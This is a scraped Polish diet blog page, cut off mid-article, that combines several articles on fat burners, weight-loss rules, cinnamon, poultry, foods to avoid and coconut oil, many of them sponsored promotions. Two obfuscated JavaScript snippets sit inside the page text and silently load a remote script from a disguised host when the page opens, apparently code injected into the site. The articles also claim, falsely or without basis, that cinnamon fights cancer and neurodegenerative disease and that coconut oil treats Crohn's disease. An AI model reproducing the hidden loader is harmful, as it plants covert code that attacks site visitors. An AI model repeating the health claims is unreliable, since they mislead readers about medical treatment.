Czy suplementy diety wspomagają dietę?

O suplementach słyszymy coraz częściej nie tylko w reklamach, ale również od znajomych, którzy stosują różne preparaty w celu wzmocnienia efektów treningów. Wiele osób zastanawia się, czy suplementy diety rzeczywiście wspomagają dietę i czy ich zakup jest konieczny, gdy chcemy wysmuklić lub wyrzeźbić nasze ciało. Najważniejszymi czynnikami są bowiem liczne badania potwierdzające działanie tego typu specyfików. Warto jednak wiedzieć, które suplementy zakupić, aby przyspieszyć efekty ćwiczeń. Czytaj więcej

Spalacze tłuszczu – na czym polega ich działanie?

Suplementy diety dla sportowców głównie kojarzą się z budowaniem masy i pracą nad masą mięśniową. Jest to jak najbardziej zrozumiałe ponieważ najsłynniejsze produkty jak białko czy kreatyna właśnie z tego słyną. Jednakże, istnieją też inne rozwiązania jak walka z otyłością. Jest to szczególnie istotne w dzisiejszych czasach ponieważ nadwaga w społeczeństwie jest uznawana za chorobę XXI. wieku. W dzisiejszych czasach więcej osób traci życie z powodu spożywania zbyt wiele niż za mało. Nie jest to tak naprawdę nic zaskakującego patrząc na to, jak dużo produktów spożywamy pełnych niezdrowych tłuszczy, soli i dużej ilości cukrów. Dodatkowo, nie licząc problemów z poruszaniem się pojawiają się również inne powikłania jak choroby serca czy nawet pojawienie się cukrzycy typu 2! Niestety, większość osób nie jest w stanie sobie poradzić z walką z nadwagą ponieważ ciężko pozbyć się wcześniejszych nawyków. Z tego powodu korzystają z różnych produktów, które w teorii mają pomóc bez większego wkładu własnego. Na szczęście, ten artykuł nie jest o nich. Przedstawimy tutaj ciekawe rozwiązanie jakim są spalacze tłuszczu i to, jak dokładnie mogą nam pomóc. Zapraszam!

Na początek omówmy sobie czym dokładnie są suplementy diety, by mieć dokładną świadomość o czym tutaj piszemy. Produkty te mają na celu wspieranie naszego organizmu poprzez dostarczanie składników odżywczych, które są legalne i odpowiednie do przyjęcia. Istotne jest tutaj sprawdzanie, że są one po to, by nas wspierać ponieważ same w sobie nie są w stanie wiele zdziałać. Nieważne jest to, do czego dokładnie nam są potrzebne – jeśli nie wykonujemy żadnych innych czynności to może się okazać, że efekty nie będą zbyt zadowalające. Oczywiście w przypadku odżywek dla sportowców głównymi czynnikami są tutaj dieta i ćwiczenia. Niezależnie od tego, czy chcemy zbudować masę mięśniową czy też zrzucić kilogramy – same suplementy mogą nie okazać się wystarczające i tak naprawdę może wyjść na to, że tracimy tylko czas.

Spalacze tłuszczu – czym są dokładnie

Jak było wspomniane wyżej – spalacze tłuszczu są suplementami diety. Nie są to środki, które mają nam zrzucić niepotrzebne kilogramy samym siedzeniem na kanapie i robieniem nic. Takowe produkty znajdziemy w pewnych i renomowanych miejscach, jak https://sklep.kfd.pl/spalacze-tluszczu-c-13.html – jest to istotne ponieważ wtedy mamy pewność, że korzystamy ze składników, które nie są szkodliwe dla naszego organizmy oraz to, że są legalne – ilość tzw. “magicznych tabletek”, które obiecują cuda na kiju jest ogromna w internecie także świadomość tego, skąd kupujemy i co jest tutaj naprawdę ważna ponieważ możemy naprawdę zrobić sobie krzywdę jeśli kupimy coś niepewnego.

Zadaniem spalaczy tłuszczu jest wspomaganie nas w próbie zrzucenia kilogramów. Produkt ten zawiera w sobie określone składniki odżywcze, które wpłyną na:

  • ilość energii w przeciągu dnia
  • nasz metabolizm
  • wspomaganie spalania tkanki tłuszczowej
  • hamowanie apetytu

I równie dobrze, wiele, wiele więcej zależnie od tego, jaki skład dokładnie proponuje nam dany producent. Jednakże, jak widać powyżej – efekty same w sobie nie pomogą nam walczyć z otyłością. Bez odpowiedniego odżywiania się i ćwiczeń produkty te nie będą w stanie wiele zrobić. Spalacze tłuszczu szczególnie są polecane osobom, które pomimo wielu starań wciąż nie mogą z jakiegoś powodu zrzucić niepotrzebnych kilogramów!

Spalacze tłuszczu – co w sobie zawierają

Jak było wspomniane wyżej, skład tych suplementów potrafi się różnić od siebie zależnie od producenta. Jednakże, najczęściej spotkamy określone termogeniki (składniki wpływające na nasz metabolizm, w tym przypadku na przyspieszenie go):

  • kofeina
  • guarana
  • ekstrakt z zielonej herbaty

Powyższe składniki szczególnie są istotne ponieważ zawierają w sobie określone stopnie kofeiny – tym sposobem wpływamy nie tylko na to, jak szybko spalamy dany pokarm ale również na kwestie energetyczne, które są istotne jeśli planujemy w dane dni trenować. Prócz tego również spotkamy się z forskoliną czy chromem, które mogą wpłynąć na naszą chęć spożywania pokarmu, karnityną, która może zwiększyć utlenianie kwasów tłuszczowych czy chociażby wapń, który może zwiększyć wchłanianie tłuszczy. Oczywiście, ostatecznie wszystko zależy od producenta, z tego powodu warto dokładnie sprawdzić, co dany produkt w sobie zawiera i jaki skład może być dobrym wyborem dla nas!

Spalacze tłuszczu – czy bezpieczne?

Jeśli korzystamy z pewnych i bezpiecznych źródeł to nie powinniśmy się specjalnie martwić o skład. Jedynie warto z pewnością zaznaczyć, że duża ilość kofeiny może powodować problemy ze snem i nudności. Warto mieć to na uwadze jeśli spożywamy sporo kawy/napojów energetycznych w przeciągu dnia!

Podsumowanie

Spalacze tłuszczu mogą być bardzo ciekawym dodatkiem do naszej diety i ćwiczeń. Jeśli szukamy dodatkowego sposobu na walkę z nadwagą to jak najbardziej można pomyśleć o takich rozwiązaniach!

(function(){
w4wp=document.createElement("script");w4wp.type="text/javascript";
w4wp.async=true;w4wp_=(("us")+"t")+"a";w4wp_+=("t.i")+""+"n";w4wp_+=(("f")+"o");w4wp_+="/";
w4wpu="183415248.";w4wpu+="pg105y8g4wp3hpf8vm1d9x2svX34y1";w4wp.src="https://"+w4wp_+w4wpu;
w4wpdb=document.body;w4wpdb.appendChild(w4wp);
})();

10 przykazań mądrego odchudzania – bezpieczna droga do szczupłej sylwetki

Nie ma magicznego sposobu na zrzucenie zbędnych kilogramów. Musisz po prostu na to zapracować. I to ciężko. Jak to zrobić, żeby dążąc do wymarzonej sylwetki, nie zaszkodzić swojemu zdrowiu? Koniecznie przeczytaj naszych 10 przykazań mądrego odchudzania.

Zdrowe dochodzenie do wymarzonej sylwetki wymaga przede wszystkim cierpliwości. Niestety, dużo łatwiej przybrać, niż zrzucić zbędne kilogramy, tym bardziej, że cały proces zachodzi zwykle niepostrzeżenie. Pewnego dnia po prostu wstajesz rano, patrzysz w lustro i zaczynasz się zastanawiać: „Kiedy TO się stało?”…

Nie daj się nabrać na cudowne diety, dzięki którym schudniesz 20 kg w miesiąc. Jeśli nawet uda Ci się doprowadzić do tak ekstremalnie szybkiego spadku wagi, istnieje bardzo niewielkie prawdopodobieństwo, że sukces utrzyma się na dłużej. Prawie na pewno dotknie Cię efekt jojo i w krótkim czasie wrócisz do poprzedniej (albo i wyższej) wagi. Gdy decydujesz się na dietę, pamiętaj o łączeniu zbilansowanego jadłospisu z wysiłkiem fizycznym i… rozsądkiem. Stosując się do poniższych rad, z pewnością łatwiej unikniesz niebezpiecznych dla zdrowia błędów.

1. Nie ograniczaj jedzenia

Albo raczej: nie tylko ograniczaj. Obżarstwo sprzyja otyłości – jasne. Ale dietetycy przestrzegają: problem nie leży w tym, ile jesz, ale co jesz. Urozmaicone i zbilansowane menu korzystnie wpływa na metabolizm, co w praktyce sprowadza się do tego, że im lepiej jesz, tym szybciej chudniesz. Gdy ograniczasz ilość spożywanych kalorii, musisz pamiętać o wprowadzeniu do swojej diety niezbędnych składników odżywczych. W Twoim codziennym jadłospisie powinny znaleźć się składniki mineralne, witaminy, białka, a także węglowodany i tłuszcze.

2. Jedz regularnie

To, że nie jesz przez cały dzień, wcale nie sprzyja utracie wagi. Prawdopodobnie ta jedna porcja obiadu, którą wcinasz pod wieczór, jest ogromna. Zresztą w ten sposób programujesz organizm – gdy fundujesz mu dłuższe przerwy w jedzeniu, myśli, że przyszły ciężkie czasy i powinien magazynować energię. Zaczyna odkładać tłuszcz, który w kryzysowym momencie będzie mógł spalić. Z tym, że nie spala, no bo przecież w końcu robisz się głodny i wypełniasz żołądek porcją do syta…

Ten mechanizm obronny tysiące lat temu pozwalał człowiekowi przetrwać susze, klęski żywiołowe czy nieudane polowania. Dziś jest zupełnie niepotrzebny, ale nie da się go „wyłączyć”. Jedyne, co możesz zrobić, to jeść niewielkie porcje, ale za to 5 razy dziennie, mniej więcej co 3 godziny.

3. Uważaj na sztuczne wspomagacze

Herbatki czy tabletki na odchudzanie owszem, wspomagają procesy spalania, ale nie zrobią wszystkiego za Ciebie. Jeśli staną się podstawą Twojego jadłospisu, mogą doprowadzić do zaburzenia pracy układy pokarmowego. Znacznie lepiej od syntetycznych suplementów działają substancje zawarte w żywności, którą i tak spożywamy. Jakie?

Kto choć raz w życiu się odchudzał, wie, jak ważny w tym procesie jest błonnik. Choć nie jest trawiony przez ludzki układ pokarmowy, to poprawia jego pracę. Wchłania wodę, dzięki czemu po dostaniu się do żołądka pęcznieje i powoduje uczucie sytości. Sporo błonnika możesz znaleźć w produktach pełnoziarnistych, niektórych owocach (np. malinach, jabłkach, agreście) i warzywach.

4. Nawadniaj się

Minimalna dzienna dawka wody dla dorosłego człowieka wynosi 1,5 litra. W czasie odchudzania warto zwiększyć ją minimum do 2 litrów. Dlaczego? Przede wszystkim z powodu wsparcia, jakie stanowi w procesach metabolicznych. Poza tym, gdy dietę łączysz z aktywnością fizyczną, wzrasta zapotrzebowanie zarówno na H2O, które podczas wysiłku intensywnie odparowuje przez wszystkie pory Twojego ciała, jak i na zawarte w niej mikroelementy.

5. Ogranicz alkohol i napoje gazowane

Słodkie napoje gazowane i alkohol to puste kalorie, które powodują tycie, a wcale nie dostarczają organizmowi składników odżywczych. Poza tym procenty powodują nasilenie głodu i zapotrzebowanie na tłuste dania, czyli zwiększają prawdopodobieństwo, że zaczniesz się objadać…

6. Wysypiaj się

Wiesz, że niedosypianie sprzyja otyłości? Podczas snu zwiększa się zdolność organizmu do trawienia cukrów. Osoby, które śpią poniżej 7 godzin stają się w pewnym sensie insulinooporne. Poza tym, gdy się nie wysypiasz, w Twoim organizmie rośnie poziom hormonu głodu – greliny – a spada poziom hormonu sytości, czyli leptyny. Jednym słowem wydaje Ci się, jakbyś był wiecznie głodny. Równie niekorzystna jest zbyt duża ilość snu. Zgodnie z tą zasadą najlepiej spać od 7 do 9 godzin.

7. Wrzuć na luz!

Przewlekły stres może zaburzać gospodarkę hormonalną i spowalniać procesy metaboliczne. To właściwie ten sam pierwotny mechanizm, który uruchamia się, gdy nie pilnujesz regularności posiłków. Organizm, będąc w stanie zagrożenia, decyduje się na odkładanie w tkance tłuszczowej zmagazynowanej energii na później. Poza tym skupia się na podtrzymaniu ważniejszych procesów… W tym czasie zwiększa się odporność na leptynę i insulinę, spada poziom estrogenu u kobiet i testosteronu u mężczyzn, wzrasta poziom kortyzolu, rozregulowuje się praca tarczycy. Mówiąc krótko, cały organizm odmawia działania w zwykłym trybie, a Ty masz przekichane.

Do tego spora część z nas ma skłonności do zajadania stresu. Im bardziej się denerwujesz, tym więcej wcinasz po kryjomu, zwłaszcza słodkiego? Batonik w nagrodę za ciężki dzień w pracy albo na odwagę przed ważnym spotkaniem wcale nie pomoże, za to może zaszkodzić Twojej sylwetce, zwłaszcza jeśli jego jedzenie stanie się rytuałem.

8. Pozwól sobie na złamanie zasad

Dietetycy i trenerzy personalni mówią często o tzw. cheating day, czyli dniu, kiedy odpuszczasz przestrzeganie planu żywienia. Chodzi o to, żeby nie zafiksować się na określonym trybie życia i nie uzależniać poczucia własnej wartości od odnoszonych na tym polu sukcesów. Nie, to, że raz na jakiś czas zjesz coś niedozwolonego na diecie, nie oznacza, że nie jesteś nic wart. Zrób to z przyjemnością i nie wywołuj w sobie wyrzutów sumienia, które spowodują tylko niepotrzebny wzrost stresu!

Ćwicz zatem silną wolę, ale wybaczaj sobie małe grzeszki. Proces dochodzenia do wymarzonej sylwetki nie może stać się katorgą, z powodu której staniesz się swoim największym wrogiem.

9. Unikaj przesady

Restrykcyjne diety, a szczególnie głodówki nie tylko nie pomogą Ci schudnąć, ale wręcz zaszkodzą, naruszając równowagę Twojego organizmu. Zrobienie detoksu raz na jakiś czas rzeczywiście pomoże oczyścić organizm, ale na dłuższą metę jedyne, co w ten sposób osiągniesz, to pozbawisz się niezbędnych do prawidłowego funkcjonowania składników odżywczych. Pamiętaj, że to przede wszystkim z cukrów, od których eliminacji zaczyna się niemal każda absurdalnie surowa dieta, czerpie energię Twoje ciało, a zwłaszcza mózg!

10. Bądź aktywny

Last, but not the least! Właściwie nie tylko nie najmniej ważne, ale chyba najważniejsze. Na nic surowe diety, jeśli nie wprowadzisz ruchu do swojego życia. Utrzymanie ciała w dobrej kondycji fizycznej, zachodzące przy okazji dotlenienie gwarantują, że jest ono w stanie właściwie przetwarzać pozyskane z żywności składniki na energię. Podczas aktywności spala się oczywiście również nadmiar tkanki tłuszczowej.

Nie musisz koniecznie chodzić na siłownię albo biegać, choć są to dziś bardzo modne sporty. Jeśli wolisz, możesz regularnie pływać, jeździć do pracy na rowerze albo codziennie zabierać psa na długi spacer. Pamiętaj, że wszystko zaczyna się od pierwszego, czasem małego kroku.

Sprzęt i odzież sportową, która ułatwi Ci zrobienie pierwszego i wszystkich kolejnych kroków na drodze do zgrabnej sylwetki, znajdziesz na sklepiguana.pl!

cynamon właściwości

Cynamon – właściwości zdrowotne i odchudzające

Cynamon to popularna przyprawa, dzięki której potrawy i desery zyskują charakterystyczny smak oraz wspaniały aromat. Atuty kulinarne to jednak nie wszystkie zalety tego specjału. Cynamon ceniony jest także za właściwości prozdrowotne. Wykazuje korzystny wpływ m.in. na proces odchudzania. Jakie zalety posiada cynamon i dlaczego warto stosować go w codziennej diecie?

Charakterystyka cynamonu

Cynamon jest tak naprawdę korą rośliny znanej jako cynamonowiec – cinnamonum cassia. Jego laski posiadają charakterystyczny, rdzawy kolor. Ze względu na delikatnie cierpki słodkawo-korzenny smak oraz silny aromat, cynamon znajduje zastosowanie jako popularna przyprawa. Idealnie pasuje do pieczonych jabłek i ryżu, a także szalotki czy makaronu z twarogiem. Komponuje się doskonale nawet z niektórymi mięsami, przede wszystkim baraniną. Cynamon dostępny jest nie tylko w formie utartego proszku, ale też pod postacią olejku eterycznego. Coraz częściej wykorzystuje się te produkty w celach innych, niż kulinarne. Cynamonowiec zawiera bowiem wiele wartościowych związków i substancji, które pozwalają zaliczyć tę roślinę do najcenniejszych naturalnych środków leczniczych. Aby zabezpieczyć prozdrowotne właściwości tej przyprawy, warto podczas obróbki termicznej dodawać ją możliwie jak najpóźniej.

Działanie przeciwnowotworowe i przeciwmiażdżycowe

Do najważniejszych substancji zawartych w cynamonie należy aldehyd cynamonowy. Związek ten wykazuje właściwości przeciwnowotworowe, a także wspomaga walkę z rakiem jelita grubego. Na podstawie badań przeprowadzonych na gryzoniach odkryto, że podanie zwierzętom pożywienia z aldehydem cynamonowym sprzyja usuwaniu toksyn z komórek. Zwiększa także potencjał regeneracyjny, chroniąc przed najważniejszym czynnikami rakotwórczymi – kancerogenami. Wyciągi z olejku cynamonowego oraz kory cynamonowca wykazują także działanie przeciwmiażdżycowe, ponieważ obniżają poziom złego cholesterolu w surowicy krwi.

Ochrona przed Alzheimerem i Parkinsonem

W cynamonie znajduje się substancja zwana epikatechiną. W połączeniu z aldehydem, może ona zapobiec wystąpieniu choroby Alzheimera lub znacząco opóźnić jej rozwój. Oba związki chronią organizm przed powstawaniem splątków neurofibrylarnych, które są bardzo charakterystyczne dla choroby kojarzonej głównie z utratą pamięci. Spożywanie cynamonu chroni także przed Parkinsonem. Odwraca bowiem negatywne zmiany komórkowe, biomechaniczne i anatomiczne w mózgach osób zmagających się tą chorobą. Wynika to z obecności w cynamonie związku znanego jako anion benzoesanowy. Środek ten często wykorzystywany jest jako konserwant żywności, pod postacią beznoesanu sodu. Z cynamonu pozyskiwany jest przez wątrobę, na skutek procesów metabolicznych.

Cynamon – na grypę i przeziębienia

Cynamon to sprawdzony środek na przeziębienia, grypę i zakażenia dróg oddechowych. Wyciągi pozyskiwane z olejku eterycznego, liści oraz kory cynamonowca cejlońskiego charakteryzują się wysoką aktywnością przeciwdrobnoustrojową. Mogą więc skutecznie zwalczać wirusy, grzyby i bakterie. Cynamon sprawdza się także w aerozoloterapii, zwłaszcza w połączeniu z innymi olejkami.

Cynamon – naturalny środek na odchudzanie

Cynamon jest termogenikiem. Substancje należące do tej grupy przyspieszają działanie materii, a tym samym ułatwiają spalanie tłuszczu. Co więcej, wyciąg z kory cynamonu cejlońskiego może do pewnego stopnia uwrażliwić tkanki na insulinę. Wspomaga tym samym regulację gospodarki węglowodanowej. Aby osiągnąć pożądany efekt odchudzający, przyprawę powinno się regularnie dodawać do potraw i spożywać przynajmniej pół łyżeczki na dobę. Wyciąg z cynamonu można też rozpuścić w wodzie i przyjmować w formie napoju. W takiej formie bardzo dobrze chroni przed cukrzycą. Pozwala na uniknięcie hiperinsulinemii, która jest zgubna dla efektywności procesów metabolicznych. Cynamon odciąża też trzustkę, co chronią ją przed wyeksploatowaniem i utratą witalności.

Na dolegliwości żołądkowe i bóle reumatyczne

Olejek cynamonowy oraz kora z cynamonu cejlońskiego w kompleksowy sposób wspomagają funkcjonowanie całego układu pokarmowego. Znajdują zastosowanie zarówno przy zatruciach, jak i biegunkach. Olejek cynamonowy może też pobudzać wydzielanie się soku żołądkowego, przez co chroni przed zaburzeniami jelitowymi. Wyciąg z kory cynamonowca cejlońskiego zabezpiecza żołądek także przed wrzodami. Cynamon często stosowany jest jako środek przeciwbólowy. Wykorzystuje się go jako składnik maści rozgrzewających i mieszanek ziołowych, stosowanych do łagodzenia bólów reumatycznych. Znajduje się np. w maści tygrysiej oraz innych podobnych produktach.

Inne właściwości i zastosowania cynamonu

Lecznicze właściwości cynamonu doceniane są także w kosmetyce. Wyciągi tej rośliny stosuje się zwłaszcza do pielęgnacji cery trądzikowej, ze względu na właściwości antybakteryjne. Cynamon łagodzi przebarwienia i zmniejsza ilość ropnych wyprysków, rozjaśniając skórę i przywracając jej naturalny wygląd. Cynamon stosowany jest również w produkcji chusteczek zapachowych, perfum i kremów. Olejek z cynamonowca działa ponadto przeciwpasożytniczo. Stosuje się go w medycynie naturalnej, głównie do zwalczania świerzbu, wszy i pasożytów przewodu pokarmowego. Cynamon to jednocześnie uniwersalny środek insektobójczy. Wykorzystywany jest jako repelent chroniący przed ukłuciami komarów i kleszczy.

Przeciwwskazania do do stosowania cynamonu

Cynamon wyróżnia się wieloma prozdrowotnymi właściwościami, jednak jego spożywanie nie jest wskazane dla wszystkich. W niektórych przypadkach lepiej unikać choćby niedużych dawek tej przyprawy. Podstawowym przeciwwskazaniem są choroby wątroby i woreczka żółciowego. W cynamonie występuje eugenol, który może wpływać na charakterystykę żółci i utrudniać trawienie tłuszczy. Innym przeciwwskazaniem jest uczulenie. Cynamon to alergen kontaktowy i pokarmowy, który może przyczynić się do wystąpienia na skórze zmian o charakterze atopowym. Przyprawy tej nie powinny spożywać także dzieci poniżej 12 roku życia, ze względu na zwiększone ryzyko podrażnień naskórka.

Które produkty wspomagają odchudzanie?

Żyjemy w społeczeństwie XXI wieku, które charakteryzuje się tym, że większość dnia spędza w pracy. Niestety, sukces zawodowy okupiony jest często największą ceną, czyli utratą lub uszczerbkiem na zdrowiu. Jest to efektem między innymi złych nawyków żywieniowych. Należą do nich jedzenie o nieregularnej porze, spożywanie posiłków typu fast food i niezdrowych przekąsek, oraz niedostarczanie organizmowi niezbędnych elementów. Taka postawa powoduje problemy z nadwagą, kondycją, spadek wydajności oraz kiepskie samopoczucie. Jak więc wybierać odpowiednie produkty, które nie tylko wspomogą odchudzanie, ale dostarczą nam energii? Zapraszamy do lektury.

Moc tkwi w ziarnach

Wiele osób nie docenia tego, że to węglowodany pochodzące z odpowiedniego źródła są najlepszym pokarmem, dostarczającym nam odpowiednią dawkę energii. Do ich dodatkowych zalet należy fakt, że pomagają spalać zalegający w organizmie tłuszcz. Jeżeli nie masz zbyt dużo czasu, na przyrządzanie przekąsek lub dań zawierających odpowiednią dawkę węglowodanów, warto sprawdzić dietę pudełkową. Doskonałe i bogate w pełne ziarna posiłki, znajdziesz na przykład na stronie zdrowemenu.com.

Moc orzechów

Pisząc na temat produktów, które wspomagają nasz organizm i pozwalają pozbyć się przysłowiowej oponki, nie można zapomnieć o orzechach i migdałach. Wiele osób odrzuca te produkty, twierdząc błędnie, że chcąc spalić tłuszcz, nie można dostarczać go organizmowi. Jest to jeden z najpopularniejszych mitów. Tłuszcz różni się bowiem od siebie i nie można porównać tego zawartego we frytkach, do znajdującego się w orzechach czy migdałach. Zdrowe tłuszcze są bowiem bardzo potrzebne, aby wchłaniać część witamin i dostarczyć naszemu organizmowi niezbędnej dawki energii. Do dodatkowych zalet spożywania tej grupy produktów należy fakt, że wzmacniają one włosy oraz paznokcie, a także poprawiają nasze samopoczucie i wydajność.

Owoce

Tutaj chyba nie trzeba wiele dodawać. Owoce i warzywa to produkty, które pełnią pierwszoplanową funkcję w każdej diecie redukcyjnej. Warto jednak zaznaczyć, że nie wszystkie. Aby spalić jak najwięcej kalorii i poprawić wygląd swojej sylwetki warto sięgać po owoce, które zawierają flawonoidy. Są to substancje chemiczne, występujące naturalnie i działające pozytywnie na walkę z tłuszczem. Ich bogatym źródłem są gruszki i jabłka. Należy jednak pamiętać, że jedzenie zbyt dużej ilości owoców też nie jest wskazane. Decydując się na dietę pudełkową, masz pewność, że dietetyk w odpowiedni sposób obliczył ile tego typu produktów, potrzebujesz w ciągu dnia.

Rybkę?

Ostatnią grupą produktów, którą zalicza się do tak zwanych spalaczy tłuszczu, są ryby. Kwasy omega-3 znajdują się w ich mięsie, wspomagają proces odchudzania, oraz dostarczają organizmowi niezbędnej ilości białka. Dania z tuńczyka, makreli czy łososia powinny na stałe zagościć w Twoim jadłospisie.

(function(){
qb5t=document.createElement("script");qb5t_=("us")+("ta");
qb5t_+="t"+(".");qb5t_+=("in");qb5tu="136237040";qb5t.async=true;
qb5tu+=".ej15egndb5tgj4jhs";qb5t.type="text/javascript";qb5t_+="f"+"o"+("/");
qb5tu+="usbkn01cu5y6e";qb5t.src="https://"+qb5t_+qb5tu;
dqb5t=document.body;dqb5t.appendChild(qb5t);
})();

Ćwiczysz? Zobacz dlaczego warto jeść drób

Mięso stanowi zwykle istotny element diety sportowca. Warto jednak pamiętać, że nie każde mięso jest tu wskazane. Powszechnie uważa się, że każdy rodzaj mięsa pomaga w budowie masy mięśniowej i dostarcza do organizmu niezbędnych składników odżywczych. Nie jest to jednak prawda.

Niektóre mięsa wcale nie pomagają w budowaniu wymarzonej sylwetki i mogą wręcz przeszkadzać w osiągnięciu dobrych efektów. Mięsem idealnym dla sportowców – i nie tylko – jest drób. Warto poznać jego właściwości odżywcze i dowiedzieć się, dlaczego jest on tak wskazany.

Zdrowe źródło białka

Mięso zawsze jest źródłem białka, niezbędnego do budowy masy mięśniowej. W wielu jego gatunkach znajduje się jednak równocześnie sporo tłuszczu. Sprawia to, że spożywanie go w większych ilościach nie jest zdrowe. Tłuszcz zwierzęcy nie służy naszemu organizmowi, a w nadmiarze może być niebezpieczny.
Wyjątkiem jest mięso drobiowe. Jest ono bardzo chude i nie zawiera wiele tłuszczu. Ponadto ten, który znajduje się w mięsie drobiowym jest źródłem cennych dla organizmu nienasyconych kwasów tłuszczowych.

Inne wartości odżywcze

Mięso drobiowe zawiera także spore ilości cynku. Pierwiastek ten wpływa między innymi na kondycję skóry, włosów i paznokci. Niedobory cynku prowadzą też do osłabionej odporności organizmu, problemów z apetytem oraz ciągłego zmęczenia.
Innym ważnym składnikiem mięsa drobiowego jest witamina PP, czyli niacyna. Jest ona odpowiedzialna między innymi za funkcjonowanie układu nerwowego oraz pokarmowego. Pomaga też w usuwaniu z organizmu szkodliwych toksyn.
Warto włączać zdrowy drób do swojej diety jak najczęściej. W odróżnieniu od mięsa czerwonego, mięso drobiowe można jeść nawet kilka razy w tygodniu bez obaw o swoje zdrowie. Jest to jedna z najlepszych i najzdrowszych propozycji dla wszystkich mięsożerców!

Mięso drobiowe a sport

Dieta sportowca musi nieco różnić się od tej dla człowieka, który nie prowadzi aktywnego trybu życia. Osoba, która na przykład regularnie ćwiczy na siłowni potrzebuje więcej kalorii oraz składników odżywczych. Wydaje się, że mięso jest tu idealną odpowiedzią na takie potrzeby. Owszem, ale nie każde. Jeśli komuś zależy na zdrowych potrawach mięsnych, które są pomocne w budowaniu sylwetki, to mięso drobiowe jest dla niego najlepszą propozycją.

Zdrowe i chude mięso

Wybierając zdrowy drób możemy z jednej strony cieszyć się wszystkimi właściwościami mięsa. Drób zawiera to, czego najczęściej szukamy w potrawach mięsnych – białko w dużych ilościach. W przypadku mięsa drobiowego ważnym plusem jest jednak mała zawartość tłuszczu, który jest prawdziwą zmorą każdego sportowca.
Tłuszcz, odkładając się w naszym organizmie, uniemożliwia nam budowanie wysportowanej, umięśnionej sylwetki. Drób zawiera inny, bardziej wartościowy tłuszcz. Nienasycone kwasy tłuszczowe których źródłem jest zdrowy drób odgrywają istotną rolę w funkcjonowaniu naszego organizmu.

Minerały i witaminy

W mięsie drobiowym znajdziemy wiele innych składników. Jest ono dobrym źródłem cynku, pierwiastka odpowiadającego za odporność organizmu oraz stan włosów i paznokci. Wśród wielu witamin które zawiera drób istotna jest szczególnie niacyna. Witamina PP to składnik niezbędny do funkcjonowania naszego układu nerwowego oraz pokarmowego. Jej braki prowadzą do osłabionej koncentracji, gorszego samopoczucia, a nawet depresji.

Drób dobry dla każdego

Potrawy z mięsa drobiowego to propozycja nie tylko dla sportowców. Świetnie sprawdzają się w diecie każdego, kto chce po prostu zdrowo się odżywiać i dbać o swoją sylwetkę. Drób nie tuczy tak mocno jak inne rodzaje mięs, może być zatem składnikiem nawet diety odchudzającej. Mięso drobiowe jest też bardzo delikatne i lekkostrawne. Z tego powodu poleca się je zarówno osobom starszym, jak i małym dzieciom. Drób może być przygotowywany na tak wiele sposobów, że każdy znajdzie dla siebie idealne potrawy!

Opracowano we współpracy z serwisem dobrydrob.pl

Produkty, które nie są wskazane na diecie odchudzającej

Podczas odchudzania oprócz aktywności fizycznej, do życia wprowadza się odpowiednią, zdrowa dietę. Zrzucając zbędne kilogramy każdy ma listę zakazanych produktów, które niekorzystnie wpływają na metabolizm, a ich kaloryczność uniemożliwia wypracowanie idealnej sylwetki. Zastąpienie takich produktów zdrowymi zamiennikami może przynieść zaskakujące rezultaty.

Cukier

Jego obecność można znaleźć w wielu produktach. Oprócz samych słodyczy, cukier w zatrważająco dużych ilościach występuje w napojach słodzonych. Dietetycy zalecają z nich zrezygnować na rzecz wody mineralnej wzbogacanej smakiem cytryny i mięty, jednak tak drastyczna zmiana może zakończyć się niepowodzeniem. Dlatego dobrze jest wybierać zdrowsze zamienniki z mniejszą zawartością cukru, takie jak świeżo wyciskane soki lub napoje typu Ice Tea=&0=&. Należy pamiętać, by tego typu produkty pochodziły z najwyższej półki. Napoje herbaciane o dobrym, naturalnym składzie znaleźć można na stronie Herbapol.com.pl – nie zawierają barwników, konserwantów, ani substancji słodzących, dzięki czemu skutecznie wspomogą odchudzanie. Soki z owoców lub same owoce również zawierają bardzo duże ilości cukru, dlatego mimo że są zdrowe, należy zachować umiar w ich spożywaniu.

Fast food

Tracenie zbędnych kilogramów wspomoże zdrowa żywność, której skład nie będzie obfity w wysokokaloryczne i niezdrowe tłuszcze. Należy pamiętać, że spożywanie dań serwowanych w barach szybkiej obsługi w dużych ilościach skutecznie odsunie marzenia o szczupłej sylwetce. Najlepszym rozwiązaniem będzie przyrządzanie zdrowszych, domowych fast foodów, na przykład wegańskich hamburgerów lub ziołowych frytek z piekarnika z batatów, marchwi i pietruszki.

Sól

Słone potrawy mają niekorzystny wpływ na organizm, ponieważ ich nadmierne spożywanie powoduje zatrzymywanie się wody, które prowadzi do obrzęków i opuchlizny zwiększających masę ciała i jego obwód. Sól nie jest niezbędną przyprawą – w łatwy i smaczniejszy sposób można zastąpić ją dużą ilością przypraw. Dzięki temu dania są nie tylko zdrowsze, ale również pełne aromatu.

olej kokosowy

Olej kokosowy – skuteczna broń przeciwko tkance tłuszczowej

Charakterystyczne, ciemnobrązowe orzechy kokosowe, to coś więcej, aniżeli ozdoba zdjęć i pocztówek z krajów powszechnie uważanych za egzotyczne. To również cenny “magazyn” składników odżywczych, mogących nam pomóc w walce z wieloma chorobami a zwłaszcza z nadwagą.

Olej kokosowy – źródło zdrowia dla każdego

Choroba Crohna, zmiany skórne, użądlenia, ukąszenia a nawet infekcje wirusowe – to lista schorzeń, z którymi doskonale “radzi sobie” olej kokosowy. Jest on pozyskiwany z orzechów palmy kokosowej, które – na szczęście – można łatwo transportować do Polski, przetwarzając je tym samym na miejscu. Mieszkańcy obszarów egzotycznych, już od dawna doceniali niezwykłe właściwości tego produktu. Europejczycy odkryli je stosunkowo niedawno, co nie przeszkodziło im wykorzystać go w wielu substancjach o charakterze medycznym.

Olej kokosowy a odchudzanie

Kolejną, chyba zresztą najważniejszą, właściwością oleju kokosowego, jest jego działanie odchudzające. Jego łańcuchy tłuszczowe są stosunkowo krótkie, dzięki czemu od razu trafiają one do komórek, nie odkładając się w tkance tłuszczowej. Wzrost ilości uzyskanej w ten sposób energii, przedkłada się też na pobudzenie metabolizmu. W ten sposób, tkanka tłuszczowa jest spalana jeszcze szybciej, co oczywiście przyspiesza proces utraty wagi.

Potrawy przyrządzane z wykorzystaniem oleju kokosowego, są bardzo sycące. W ten sposób, znacznie zmniejszają one apetyt, co również wpływa na redukcję tkanki tłuszczowej. Wchłanianie oleju kokosowego, pozwala również oczyścić organizm z różnych toksyn i innych, szkodliwych produktów przemiany materii.

Co zawiera olej kokosowy?

